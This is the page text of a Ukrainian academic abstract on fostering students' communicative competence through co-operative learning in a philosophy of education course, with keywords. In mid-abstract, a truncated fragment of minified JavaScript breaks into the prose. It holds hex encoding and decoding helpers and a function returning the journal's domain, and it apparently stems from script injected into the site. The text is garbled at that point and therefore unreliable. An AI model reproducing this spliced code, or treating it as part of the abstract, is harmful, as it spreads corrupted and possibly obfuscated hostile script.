Розвиток комунікативної компетентності студентів завдяки навчанню у співпраці (co-operative learning)

Abstract

Проаналізовано результати реалізації ідеї навчання у співпраці під час вивчення курсу «Філософія освіти»; охарактеризовано основні методи та форми роботи, які було використано; визначено, що філософія «навчання у співпраці» сприяє розвитку комунікативної компетентності за рахунок активізації когнітивного, емоційно-оцінного та поведінкового аспектів.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pedosvita.kubg.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Keywords

• комунікативна компетентність
• філософія «навчання у співпраці»
• стратегії «навчання у команді»
• «навчання разом»
• «пила»